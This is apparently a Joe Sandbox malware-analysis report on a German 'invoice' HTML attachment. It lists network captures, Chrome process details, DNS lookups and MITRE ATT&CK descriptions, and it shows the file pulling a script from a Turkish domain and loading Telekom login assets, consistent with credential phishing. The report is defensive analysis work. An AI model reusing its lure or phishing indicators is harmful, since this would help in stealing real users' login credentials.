2025-03-10 12:58:44 UTC	881	OUT	Data Raw: 7b 22 65 6e 74 72 69 65 73 22 3a 5b 7b 22 66 61 69 6c 75 72 65 5f 64 61 74 61 22 3a 7b 22 63 75 73 74 6f 6d 5f 65 72 72 6f 72 22 3a 22 6e 65 74 3a 3a 45 52 52 5f 41 42 4f 52 54 45 44 22 7d 2c 22 68 74 74 70 5f 72 65 73 70 6f 6e 73 65 5f 63 6f 64 65 22 3a 32 30 30 2c 22 6e 65 74 77 6f 72 6b 5f 63 68 61 6e 67 65 64 22 3a 66 61 6c 73 65 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 48 54 54 50 22 2c 22 72 65 71 75 65 73 74 5f 61 67 65 5f 6d 73 22 3a 31 34 33 30 39 36 2c 22 72 65 71 75 65 73 74 5f 65 6c 61 70 73 65 64 5f 6d 73 22 3a 32 35 32 35 2c 22 73 61 6d 70 6c 65 5f 72 61 74 65 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 61 62 6f 72 74 65 64 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 70 74 69 6d 69 7a Data Ascii: {"entries":[{"failure_data":{"custom_error":"net::ERR_ABORTED"},"http_response_code":200,"network_changed":false,"protocol":"HTTP","request_age_ms":143096,"request_elapsed_ms":2525,"sample_rate":1.0,"server_ip":"","status":"aborted","url":"https://optimiz
2025-03-10 12:58:45 UTC	806	IN	HTTP/1.1 200 OK Report-To: {"group":"ntbdioescrec:47:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ntbdioescrec:47:0"}],} NEL: {"failure_fraction":1,"include_subdomains":false,"max_age":300,"report_to":"nel","success_fraction":0.25} Content-Type: application/javascript; charset=utf-8 Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ntbdioescrec:47:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=ntbdioescrec:47:0 Date: Mon, 10 Mar 2025 12:58:45 GMT Server: Domain Reliability Server Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	52434	142.251.116.94	443	5328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:58:56 UTC	364	OUT	POST /domainreliability/upload HTTP/1.1 Host: beacons.gcp.gvt2.com Connection: keep-alive Content-Length: 1048 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:58:56 UTC	1048	OUT	Data Raw: 7b 22 65 6e 74 72 69 65 73 22 3a 5b 7b 22 66 61 69 6c 75 72 65 5f 64 61 74 61 22 3a 7b 22 63 75 73 74 6f 6d 5f 65 72 72 6f 72 22 3a 22 6e 65 74 3a 3a 45 52 52 5f 4e 41 4d 45 5f 4e 4f 54 5f 52 45 53 4f 4c 56 45 44 22 7d 2c 22 6e 65 74 77 6f 72 6b 5f 63 68 61 6e 67 65 64 22 3a 66 61 6c 73 65 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 22 2c 22 72 65 71 75 65 73 74 5f 61 67 65 5f 6d 73 22 3a 37 36 30 30 30 2c 22 72 65 71 75 65 73 74 5f 65 6c 61 70 73 65 64 5f 6d 73 22 3a 31 35 31 30 36 2c 22 73 61 6d 70 6c 65 5f 72 61 74 65 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 64 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 61 63 6f 6e 73 2e 67 76 74 32 2e 63 6f 6d 2f 22 2c 22 77 61 73 5f 70 72 6f 78 69 65 Data Ascii: {"entries":[{"failure_data":{"custom_error":"net::ERR_NAME_NOT_RESOLVED"},"network_changed":false,"protocol":"","request_age_ms":76000,"request_elapsed_ms":15106,"sample_rate":1.0,"server_ip":"","status":"dns","url":"https://beacons.gvt2.com/","was_proxie
2025-03-10 12:58:56 UTC	806	IN	HTTP/1.1 200 OK Report-To: {"group":"ntbdioescrec:47:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ntbdioescrec:47:0"}],} NEL: {"failure_fraction":1,"include_subdomains":false,"max_age":300,"report_to":"nel","success_fraction":0.25} Content-Type: application/javascript; charset=utf-8 Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ntbdioescrec:47:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=ntbdioescrec:47:0 Date: Mon, 10 Mar 2025 12:58:56 GMT Server: Domain Reliability Server Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 4840, Parent PID: 3372

General

Target ID:	1
Start time:	08:56:04
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\RECHNUNG_Lieferschein_001927.htm"
Imagebase:	0x7ff63b000000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 5328, Parent PID: 4840

General

Target ID:	4
Start time:	08:56:10
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2068,i,18025724724038731127,13451297656020395520,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:3
Imagebase:	0x7ff63b000000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7040, Parent PID: 4840

General

Target ID:	17
Start time:	08:59:10
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --no-pre-read-main-dll --field-trial-handle=2068,i,18025724724038731127,13451297656020395520,262144 --variations-seed-version --mojo-platform-channel-handle=1460 /prefetch:8
Imagebase:	0x7ff63b000000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Joe Sandbox View	IP Address: 172.67.41.16 172.67.41.16
Source: Joe Sandbox View	IP Address: 46.31.79.76 46.31.79.76
Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207
Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207

Source: global traffic	HTTP traffic detected: GET /ps.js HTTP/1.1Host: said.yasarmuhendislik.com.trConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: nullsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //resources/linkmail/spacer.gif HTTP/1.1Host: email.t-online.deConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //resources/linkmail/erleben_was_verbindet_DE.gif HTTP/1.1Host: email.t-online.deConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //resources/linkmail/intro_stage.gif HTTP/1.1Host: email.t-online.deConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/scale/css/login-26.16.0.css HTTP/1.1Host: accounts.login.idm.telekom.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/scale/scale-components/scale-components.css HTTP/1.1Host: accounts.login.idm.telekom.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //resources/linkmail/spacer.gif HTTP/1.1Host: email.t-online.deConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //resources/linkmail/erleben_was_verbindet_DE.gif HTTP/1.1Host: email.t-online.deConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET //resources/linkmail/intro_stage.gif HTTP/1.1Host: email.t-online.deConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/scale/images/avatar.svg HTTP/1.1Host: accounts.login.idm.telekom.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: said.yasarmuhendislik.com.tr
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: email.t-online.de
Source: global traffic	DNS traffic detected: DNS query: accounts.login.idm.telekom.com
Source: global traffic	DNS traffic detected: DNS query: cdn.tailwindcss.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons2.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons3.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: beacons4.gvt2.com

Source: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	HTTP Parser: New script tag found
Source: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	HTTP Parser: New script tag found

Source: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/RECHNUNG_Lieferschein_001927.htm	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.3
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 20.191.45.158
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report RECHNUNG_Lieferschein_001927.htm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Windows Analysis Report
RECHNUNG_Lieferschein_001927.htm